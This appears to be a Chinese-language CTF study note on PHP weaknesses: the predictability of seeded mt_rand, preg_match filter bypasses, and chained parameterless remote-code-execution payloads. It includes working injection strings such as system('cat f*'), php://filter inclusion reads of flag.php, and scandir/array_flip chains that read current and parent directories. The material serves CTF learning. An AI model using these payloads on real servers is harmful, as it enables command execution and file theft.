md5()函数是一个哈希函数,它将传入的参数进行哈希处理并返回一个32位的十六进制字符串hexdec()函数将十六进制字符串转换为对应的十进制数值。mt_rand()函数1 2 3mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。 使用语法:mt_rand(); or mt_rand(min,max);,生成一个区间内的随机数。 其参数min默认为最小值0,max默认为可生成的随机数最大值2147483647,由mt_getrandmax()函数获得。mt_srand()函数1 2 3mt_srand() 函数播种 Mersenne Twister 随机数生成器。 提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数。 当不使用随机数播种函数srand时,php也会自动为随机数播种,因此是否确定种子都不会影响正常运行。在php中每一次调用mt_rand()函数,都会检查一下系统有没有播种。(播种为mt_srand()函数完成),当随机种子生成后,后面生成的随机数都会根据这个随机种子生成。所以同一个种子下,随机数的序列是相同的,这就是漏洞点,两个例子。
1 2 3 4 5 6<?PHP mt_srand(0); echo mt_rand(); echo mt_rand(); echo mt_rand(); ?>在上面的代码中,我们把随机数播种为0,每次运行都会获得相同的序列,这就是伪随机:
1 2 3963932192 1273124119 1535857466当我们去掉mt_srand()函数时,再次重复运行实例,系统会自动为rand函数播种,但也是播种一次。因此多次重复运行的结果也相同,为:
1 2 3992978829 928748101 1380702626由于 Mt19937(“梅森旋转算法”)引擎仅接受 32 位整数作为种子,因此尽管 Mt19937 的范围为 219937-1,但可能的随机序列数量仅限于 232(即 4,294,967,296)。
当依赖隐式或显式随机播种时,重复会出现得更早。根据生日问题,在少于 80,000 个随机生成的种子后,预计重复种子的概率为 50%。在随机生成大约 30,000 个种子后,重复种子的概率为 10%。
intval()函数用于获取变量的整数值。1int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )搜索 subject 与 pattern 给定的正则表达式的一个匹配。
$pattern: 要搜索的模式,字符串形式。
$subject: 输入字符串。
$matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
$flags:flags 可以被设置为以下标记值:
- PREG_OFFSET_CAPTURE: 如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。 注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量。
offset: 通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个未知开始搜索(单位是字节)。
利用方式:构造绕过
1 2 3 4 5 6?c=system('cat f*');//glob1 ?c=system('cat f?ag.php');//glob2 ?c=system('cat f\lag.php');//转义字符实现绕过 ?c=system("cat f''lag.php"); ?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php //直接将题目变成文件包含漏洞 ?c=eval($_GET[1]);&1=system('cat flag.php'); //马中马嵌套过滤
print_r(scandir('.')):打印当初路径下文件的函数,查看当前目录ocaleconv()常见无参数rce函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17scandir() //返回当前目录构成的数组 localeconv() //一个数组,第一个值为.,很重要 getcwd() //获取当前工作的目录,无需参数 dirname() //获取某文件工作的目录 array_flip() //交换数组的键和值,返回交换后的数组 array_rand() //随机从数组中取出一个值 array_reverse() //将数组内容翻转 strrev() //翻转字符串 chdir() //改变工作目录 eval();assert();system() //命令执行 highlight_file();show_source();readfile() //读文件 在php程序运行时数组内部会有指针,而通过操控这些指针的指向我们可以控制输出的结果.起始的时候指针指向第一个元素. end() //指向最后一个元素并返回 reset() //指向第一个元素并返回 next() //指向下一个元素并返回 prev() //指向上一个元素并返回 current() //指向当前元素并返回构造出的函数
1 2 3 4 5 6 7highlight_file(array_rand(array_flip(scandir(getcwd())))); //查看和读取当前目录文件 print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件 print_r(scandir(next(scandir(getcwd())))); //查看上一级目录的文件 show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件 show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件 show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件 show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位,查看和读取根目录文件glob():返回一个包含匹配指定模式的文件名或目录的数组,如果失败则返回 FALSE。glob("") 会匹配任意文件,glob(".php")则是匹配以php为后缀的文件